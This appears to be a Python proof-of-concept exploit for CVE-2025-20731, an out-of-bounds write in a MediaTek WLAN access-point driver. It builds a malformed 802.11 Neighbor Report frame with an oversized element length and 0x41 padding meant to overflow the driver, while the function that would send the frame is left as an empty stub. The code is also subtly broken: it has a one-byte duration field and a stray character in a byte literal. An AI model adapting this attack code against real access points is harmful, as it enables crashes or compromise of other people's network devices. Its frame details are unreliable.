CVE-2025-20731

# CVE-2025-20731 PoC - MediaTek WLAN AP Driver Out-of-Bounds Write # This PoC demonstrates the vulnerability in OceReducedNeighborReport handling # Note: Requires system-level access to send raw 802.11 frames import struct def create_malicious_neighbor_report(): """ Create a malicious IEEE 802.11 Neighbor Report with oversized elements to trigger out-of-bounds write in MediaTek wlan AP driver """ # Frame Control frame_control = struct.pack('<H', 0x00d0) # Action frame, To DS # Duration duration = struct.pack('<B', 0x00) # Receiver Address (AP) receiver_addr = b'\xaa\xbb\xcc\xdd\xee\xff' # Transmitter Address transmitter_addr = b'\x11\x22\x33\x44\x55\x66' # BSSID bssid = b'\xaa\xbb\+cc\xdd\xee\xff' # Sequence Control seq_ctrl = struct.pack('<H', 0x0000) # Category: Radio Measurement (5) category = struct.pack('<B', 0x05) # Action: Neighbor Report Response (5) action = struct.pack('<B', 0x05) # Element ID 51: Neighbor Report element_id = struct.pack('<B', 0x35) # Malicious length - exceeds driver boundary check # Trigger out-of-bounds write by setting oversized element length malicious_length = struct.pack('<B', 0xFF) # Oversized length # BSSID in neighbor report neighbor_bssid = b'\xaa\xbb\xcc\xdd\xee\xff' # BSSID Information bssid_info = struct.pack('<I', 0x00000000) # Operating Class, Channel Number, Phy Type operating_class = struct.pack('<B', 0x04) channel_number = struct.pack('<B', 0x06) phy_type = struct.pack('<B', 0x0C) # Assemble the malicious element malicious_element = element_id + malicious_length + neighbor_bssid + bssid_info + operating_class + channel_number + phy_type # Pad with additional data to trigger overflow padding = b'\x41' * 256 # Padding to trigger OOB write # Assemble complete frame frame = frame_control + duration + receiver_addr + transmitter_addr + bssid + seq_ctrl frame += category + action + malicious_element + padding return frame def send_malicious_frame(interface): """ Send the malicious 802.11 frame to trigger vulnerability Requires: System-level privileges, raw socket capabilities """ # Note: Actual implementation requires root privileges and raw socket support # This is for demonstration purposes only pass if __name__ == '__main__': print('[+] CVE-2025-20731 MediaTek WLAN AP Driver OOB Write PoC') print('[+] Target: MediaTek wlan AP driver (OceReducedNeighborReport disabled)') print('[+] Prerequisite: System-level privileges required') frame = create_malicious_neighbor_report() print(f'[+] Generated malicious frame: {len(frame)} bytes') print('[+] Send frame using raw 802.11 socket with system privileges')

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